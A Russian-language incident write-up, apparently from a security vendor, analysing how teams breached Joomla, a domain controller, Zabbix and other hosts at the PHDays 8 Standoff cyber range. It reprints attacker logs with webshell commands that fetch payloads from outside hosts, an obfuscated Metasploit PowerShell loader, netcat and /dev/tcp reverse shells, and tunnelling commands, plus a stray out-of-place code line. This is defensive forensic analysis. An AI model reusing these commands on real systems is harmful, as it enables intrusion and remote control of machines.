Противостояние на Positive Hack Days 8: подробности атак

Завершилось очередное Противостояние в рамках конференции Positive Hack Days 8. В этот раз в борьбе приняли участие более ста человек: 12 команд нападающих, 7 команд защитников и целый город, который им предстояло атаковать и защищать.

На этот раз за всем происходящим в игровой сети The Standoff наблюдала тройка продуктов нашей компании:

• MaxPatrol SIEM — SIEM-система.
• PT Network Attack Discovery — решение сетевой безопасности для анализа сетевого трафика, выявления и расследования инцидентов.
• PT MultiScanner — многоуровневая система выявления и блокировки вредоносного контента.

За работой продуктов и игровыми событиями следила команда экспертного центра безопасности Positive Technologies (PT ESC), чтобы рассказать об этом посетителям. По итогам конкурса данных было настолько много, что хватило бы на огромный отчет. Наиболее полными по описанию получились сети офиса № 2 компании интегратора SPUTNIK и офиса № 1 страховой компании BeHealthy. Офис № 2 был интересен тем, что находился под наблюдением SOC РТК, но не опекался командой защитников, и его полностью взломали команды атакующих.

Помимо двух офисов, в городе работали ТЭЦ и подстанция, железная дорога, умные дома с рекуперацией энергии и банки с ATM.

О том, как происходящее в офисах № 1 и № 2 выглядело сквозь призму MaxPatrol SIEM, PT NAD и PT MultiScanner с акцентом на технические детали взломов, пойдет речь дальше.

Адресация атакующих команд: 172.31.x.0/24, где x — номер команды от 1 до 8. Всего команд было 12, но в силу особенностей архитектуры сетевой инфраструктуры сети (ядро сети эмулировалось в Cisco CSR1000v) и имеющегося физического оборудования, удалось организовать только 8 физических сетевых интерфейсов, которые были скоммутированы для команд по всей игровой зоне. Поэтому в четырех сетях располагались по две команды.

В инфраструктуре офиса № 2 было выделено четыре сетевых сегмента:

DMZ (100.64.154.0/25); cерверы (10.106.60.0/24); cотрудники компании (10.106.50.0/24); команда защитников (10.106.82.0/24).

Узлы, расположенные в демилитаризованной зоне, были доступны по сети для всех атакующих. При обращении к этим узлам реальные сетевые адреса команд транслировались из пула 100.110.255.0/24, поэтому для защитников было непросто разобраться, кому принадлежит тот или иной сетевой трафик. Это могла быть одна из 12 команд атакующих или же легитимный скрипт-чекер, проверяющий работоспособность сервисов, из того же пула адресов, что и атакующие.

Чтобы наполнить наши продукты событиями о происходящем в игровой инфраструктуре, мы организовали съем и перенаправление копии всего сетевого трафика в PT NAD, а также настроили расширенный аудит событий целевых систем и организовали их доставку в MaxPatrol SIEM.

Разбор атак с упором на команды можно почитать в другой статье.

Joomla (100.64.154.147)

Одним из серверов в DMZ офиса № 2 был сервер с Joomla CMS. Спустя несколько часов после начала игры в PT NAD появились первые признаки компрометации этого сервера — заливка webshell из пула «серых» IP-адресов:

Все подсети атакующих команд терминировались на одном межсетевом экране (Attacker-FW) и при создании соединения к атакуемым объектам, IP-адреса атакующих транслировались в «серые» IP-адреса из единого пула (100.110.255.0/24). Поэтому для персонификации атак по командам была реализована схема с обогащением межсетевых соединений по таблице NAT этого МЭ. В рамках MP SIEM обогащение выглядело следующим образом.

Такой подход позволил определить, что эта атака была инициирована командой № 1. Однако из-за использования одного и того же адресного пула разными командами, мы не можем достоверно определить название команды по запросу из той или иной сети. В целях дальнейшего повествования мы будем именовать команды по номерам их сетей.

Спустя час после попыток атак команды № 1 PT NAD замечает загрузку командой № 8 другого веб-шелла с говорящим названием SHE__.php. Было ли это следствие взлома сервера или простое сканирование — достоверно установить не удалось. Но спустя несколько минут от той же восьмой команды устанавливается SSH-сессия непривилегированным пользователем user.

Пароль от этой учетной записи находился в начале списка словаря rockyou и был подобран. Доступ к root-аккаунту у восьмой команды появился лишь около 16:00 благодаря тому, что пользователь user состоял в группе с правом беспарольного запуска команд от имени root-пользователя. В этом мы можем убедиться, посмотрев логи MP SIEM: видим вход под пользователем user, а затем повышение привилегий командой sudo.

Время в логах может отличаться от фактического на три часа из-за конфигурации игровых серверов.

К вечеру первого дня Противостояния шестая команда овладела Joomla. PT NAD обнаружил эксплуатацию уязвимости, а точнее фичи, через которую команда залила веб-шелл WSO и начала работать с ним.

100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP

Стоит заметить, что скрипт, который использовали команды для заливки шеллов, требует учетной записи администратора, пароль от которой был подобран при помощи уязвимости CVE-2017-14596 в механизме аутентификации в Joomla через LDAP: изменяя аутентификационный LDAP-запрос, атакующие быстро подбирают логин и пароль от учетной записи администратора.

Спустя полчаса шестая команда завладели всей системой.

Захваченную машину команды нападающих использовали для дальнейшего исследования сети второго офиса компании SPUTNIK утилитами Nmap и hping3.

В 21:17 мы обнаружили, что на сервере Joomla был установлен и запущен OpenVPN-клиент. Соединение установилось с сервером 195.16.61.229, размещенном в Москве. Чуть позже мы выяснили, что эти действия выполняли участники команды № 6, которой удалось привлечь дополнительные ресурсы на удаленной площадке.

Взаимодействие с удаленной площадкой осуществлялось внутри защищенного туннеля, поэтому установить характер этого взаимодействия и степень его влияния на игру невозможно. Мы можем сделать лишь косвенные выводы, опираясь на количество VPN-сессий и объем переданных данных.

Самое интересное, что команда не почистила за собой следы: после игры мы обнаружили на сервере конфигурационный файл OpenVPN, содержащий корневой и личный сертификаты, закрытый ключ и личные данные владельца ключа. Можно воспользоваться поисковиком и легко определить реальную личность владельца конфигурационного файла с ником phonexicum. Полную карту со всеми VPN-соединениями во время игры можно изучить в конце статьи.

Другие интересные события стали развиваться после полуночи (+3 часа к логам). Шелл /id.php команды № 4 находит команда № 1:

[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1

Команда сразу же закрепляется в системе, сохранив веб-шелл WSO под именем 123.php.

[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1

На протяжении нескольких часов хозяйничала первая команда, затем команда № 4 обнаруживает присутствие другой команды и переименовывает шелл id.php в 021371b392f0b42398630fd668adff5d.php.

[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1

Впоследствии 021371b392f0b42398630fd668adff5d.php был заменен на kekekeke.php и kekpek.php.

[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1

Последующие события в доменной инфраструктуре офиса № 2 SPUTNIK тесно связаны с происходящим на Joomla.

SPUTNIK (10.106.60.0/24)

После того как Joomla была взломана, атакующим открылся доступ ко внутренним сегментам инфраструктуры SPUTNIK (офис № 2). Через некоторое время контроллер домена WIN2008R2-DC.domain2.phd (10.106.60.10) начинает подвергаться атакам с использованием эксплойта MS17-010.

Хронологию дальнейших событий удобнее наблюдать по срабатываниям MP SIEM.

Первым делом атакующий создал пользователя с именем username и паролем 1qazzaq! и добавил его в группу локальных администраторов. Успешная эксплуатация эксплойтов из бюллетеня MS17-010 дает доступ с привилегиями NT-Authority\System, и в логах ОС Windows такой доступ отображается как win2008r2-dc$.

От имени нового пользователя атакующий создает пару служб, запускающих PowerShell-скрипт.

pragma solidity ^0.4.16;

%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""

Этот скрипт был сгенерирован фреймворком Metasploit. Его предназначение — открыть сокет на порту 55443 для прослушивания и запустить пришедшую на этот порт полезную нагрузку (предположительно, Meterpreter).

Попытка запуска удаленного шелла оказалась успешной. После этого атакующие продолжили развивать атаку и username создает другую учетную запись с именем vitalik, добавляя ее в группу Domain Admins. Вскоре после ее создания мы видим интерактивный вход.

Пока vitalik создавал сервис с тем же PowerShell-скриптом, как у username, пользователь username массово сбрасывал пароли доменных учетных записей и начал интересоваться соседним почтовым сервером домена Win2008R2-EXCH. Параллельная активность пользователей username и vitalik на Exchange-сервере домена (сканирование и вход) говорит о том, что скорее всего сеть SPUTNIK исследовали одновременно несколько членов команды.

vitalik выполняет проверку доступности почтового сервера и запускает консоль управления сервером после интерактивного входа.

Не обнаружив ничего стоящего, он тащит на хост Win2008R2-DC свой инструментарий и тяжелую артиллерию: на контроллере домена появляются многочисленные PowerShell-скрипты и фреймворк BloodHound — популярный инструмент для разведки в сетях Active Directory. Для доступа к веб-интерфейсу BloodHound участнику пришлось отключить защищенный режим в IE, что также было обнаружено SIEM.

Активность BloodHound в сети не прошла мимо PT NAD. Одной из особенностей работы инструмента было сканирование хостов в сети на предмет активных подключений. Такой трафик к сервису SRVSVC обнаруживается одной из сигнатур PT NAD и свидетельствует о разведке внутри сети.

Около часа ночи атакующие, предварительно создав теневую копию диска с помощью утилиты vssadmin, утащили базу ntds.dit, содержащую все учетные записи домена. Успешно осуществив атаку, нападающие полностью завладевают доменом, получая в распоряжение хеш учетной записи krbtgt. Обладание этой учетной записью позволяет создавать и использовать golden ticket Kerberos — тикет для неограниченного доступа к ресурсам в домене, обращения к серверам от имени любых существующих и несуществующих пользователей и любых действий в домене. Использование golden ticket достаточно сложно обнаружить защитными средствами, а вот компрометацию уз krbtgt и ntds.dit заметить намного легче.

Команда постепенно переходит от исследования домена к изучению открывшейся им сети АСУ ТП. Затащив на машины сотрудников компании SPUTNIK (YLAVRENTIEV.sputnik.phd и EPONOMAREV.sputnik.phd) сканеры Nmap, участники начинают сканирование сети 172.20.x.x. Участники использовали nmap_performance.reg для изменения параметров стека TCP/IP и ускорения сканирования сети АСУ ТП.

Подключения к хостам в сети АСУ ТП через туннели на хостах домена SPUTNIK говорят сами за себя. Описание того, что делали хакеры в промышленной сети можно посмотреть на YouTube.

Среди прочих достижений атакующих были замечены и другие туннели, SSH-сессии, творческие прорывы после бессонной ночи первого дня соревнований и, конечно же, устанавливаемые игровые майнеры, которые майнили валюту DDOSCoin.

Zabbix (100.64.100.161)

Система расположилась в DMZ офиса № 1, и была взломана около полудня неустановленной командой.

Учетные данные администратора было несложно подобрать, и команда воспользовалась встроенной функциональностью Zabbix для неограниченного расширения возможностей мониторинга при помощи кастомных скриптов.

В скриптах можно использовать любые Linux-команды, чем и воспользовались команды участников, создавая шеллы и SOCKS-прокси-серверы.

command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1

Команда предприняла попытку загрузить модуль с подконтрольного сервера 195.16.61.232, но безуспешно.

После небольшой разведки окружения команда установила удаленный bash-шелл стандартными средствами Linux с тем же сервером, посылая пакеты напрямую в /dev/tcp/.

Не менее интересным оказалось и содержимое трафика между командой и шеллами, которое передавалось в открытом виде и не прошло мимо сенсоров PT NAD.

bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig
bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 &

Как мы видим, в основном сервер Zabbix использовался в качестве плацдарма для разведки подсетей офиса № 1: 10.100.50.0/24 (Users), 10.100.60.0/24 (Servers) и 10.100.80.0/24 (SecurityTeam).

Multiserver (100.64.100.167)

Multiserver это другой линуксовый хост в DMZ офиса № 1 с парой HTTP-серверов и базой данных MySQL на борту. Мультисервер хоть и подвергался интенсивному сканированию, успешных атак были единицы. Хост содержал уязвимость 2017 года SambaCry, найденной вслед за уязвимостями MS17-010, и команды пытались ее использовать. Фильтр PT NAD позволяет локализовать их попытки на временной шкале.

Нагрузкой в одной из попыток команды № 3 была исполняемая библиотека DTECJtAf.so. Судя по имени библиотеки, участники команды использовали модуль is_known_pipename из Metasploit Framework Строчка кода, отвечающая за характерное имя библиотеки:

Во время Противостояния экспертам помогал PT MultiScanner, который проверял все проходящие по сети файлы, замеченные PT NAD. Спустя пару мгновений он выносит вердикт DTECJtAf.so: Linux/SmbPayload.C.

Судя по отсутствию дальнейших сетевых взаимодействий сервера и команды № 3 эксплойт не принес успеха. Однако почти в это же время мы видим активную SSH-сессию от команды № 4. По объему переданного трафика мы можем судить о том, что атакующие использовали сервер в полной мере.

Первый успешный SSH-вход команды № 4 под пользователем administrator был осуществлен еще около 15:20 первого дня соревнования.

За входом следует проверка привилегий и разведка на хосте.

И за его пределами.

С легкостью проводим атрибуцию атакующего по языковому признаку.

Мультисервер не получил должного конфигурирования и доподлинно неизвестно, какие еще попытки предпринимали команды. Судя по имеющимся логам, этот хост, также как и другие хосты в DMZ офиса № 1, служили отправной точкой для исследования внутренней инфраструктуры офиса.

Из интересного

Другие хосты также стали объектами внимания команд. Например, любопытно себя повели участники по отношению к роутеру Mikrotik по адресу 100.64.100.237 в сети DMZ офиса № 1. Около двух часов ночи второго дня Противостояния был успешный вход в консоль роутера по Telnet с парой admin:VxPvRxX74e8xrbia77hsi7WKm. Версия прошивки устройства была 6.38.4 — именно та, на которой тестировался известный эксплойт Chimay Red Stack Clash для Mikrotik, позволяющий выполнять любой код на устройстве, и узнать пароли пользователей на роутере. Эксплуатация уязвимости была обнаружена PT NAD.

Во второй половине дня команда, которая первой заняла роутер, решила закрыть дырку простым обновлением прошивки и монополизировать доступ.

Это один из немногих примеров, когда команда участников закрывает дырку в системе, чтобы другие команды не смогли захватить этот хост.

PT MultiScanner обнаружил любопытное событие.

Для доступа к банку команды могли использовать банковский клиент, доступный на сайте. Сайт находится в банковской сети под надзором команды защитников и они добавили вредоносную нагрузку в клиент при помощи фреймворка Metasploit и заменили им оригинальный. К удаче защитников, взломанный клиент скачали несколько команд, что мы видим на скриншоте PT MultiScanner выше. Успешных подключений замечено не было, но случай стоит упоминания, поскольку подобные сценарии имеют место в обычной жизни: злоумышленники снабжают вредоносным кодом легитимные программы на официальных сайтах или подменяют обновления для совершения атак на клиентов.

Miners

Другим нововведением в The Standoff было появление игровых майнеров. По легенде, команды могли использовать захваченные серверы в качестве майнеров, что приносило им дополнительные очки. Вместо традиционных криптовалют, они добывали DDoSCoin — валютный эквивалент усилий, потраченных на DDoS-атаку какого-либо сервера. Данные хендшейков TLS 1.2 служили proof-of-work, и чем больше майнер совершил TLS-хендшейков с целевым сервером, тем выше была вероятность найти новый блок и получить свое вознаграждение от организатора DDoS-атаки.

Клиент был написан на языке Go и мог работать как на Windows, так и на Linux. Идея применялась впервые, и, несмотря на то, что не все команды успели его применить, попытки его запуска были замечены на многих серверах игровой инфраструктуры.

Команды могли добывать криптовалюту и обменивать ее на игровые очки. Половина команд сумела воспользоваться ранее захваченными серверами для добычи блоков. Также в игровой логике присутствовала биржевая составляющая: при резком изменении количества добытой валюты ее курс уменьшался. Таким образом можно было выполнять спекулятивные операции и заработать очки, не выполняя основные задания. Но поскольку эта идея ранее не применялась на подобных играх, команды не смогли ей полноценно воспользоваться, и существенно на ход игры это нововведение не повлияло.

По числу намайненных блоков вперед вырвалась казахстанская команда «ЦАРКА», которая первой запустила майнеры на игровой инфраструктуре. Тут мы смогли отойти от сетевых номеров команд к их названиям в силу того, что их идентификаторы были включены информацию о блоке и учитывались при их подсчете. В целом идея показалась хорошей, и наверняка ее можно будет увидеть и на следующем The Standoff.

Вывод

На минувшем The Standoff было жарко. Двенадцать команд активно исследовали и взламывали инфраструктуру города. Наши продукты позволили нам подсмотреть за тем, как именно действовали участники игры, какие тактики и инструменты они избрали и что становилось их целью. Мы стали свидетелями, как они взаимодействовали с доменной инфраструктурой офиса, начав с заражения одной машины и закончив захватом всего домена и переходом к следующей сети АСУ ТП. Во время такого мероприятия, как The Standoff, на продукты приходится огромная нагрузка: MaxPatrol SIEM справлялся с 20,000 EPS, а PT NAD переработал более 3 терабайт сетевого трафика за оба дня, не говоря уже о самой сетевой инфраструктуре: маршрутизаторы, коммутаторы и межсетевые экраны также выдержали игровую нагрузку.

Подобная компрометация могла произойти и с настоящим офисом без должных средств защиты и контроля. Как правило, это ведет к утечке ценных данных, таких как переписка, финансовые и личные данные сотрудников.

Среди нескончаемых сканов, брутов и попыток эксплуатации всевозможных уязвимостей, продукты Positive Technologies помогали определять, как именно были взломаны серверы игровой инфраструктуры. Определяли успешные атаки и такие следы успешной компрометации, как веб-шеллы, удаленные консоли, туннели и логины на хосты. Все это поможет сделать наши продукты лучше.

На этом скриншоте статистики по VPN-соединениям команд во время игры можно увидеть, что VPN-соединения были установлены с серверами в США, Казахстане, Нидерландах и половине Европы. К слову, команд из США или Европы на The Standoff не было, но присутствовала одна команда из Казахстана.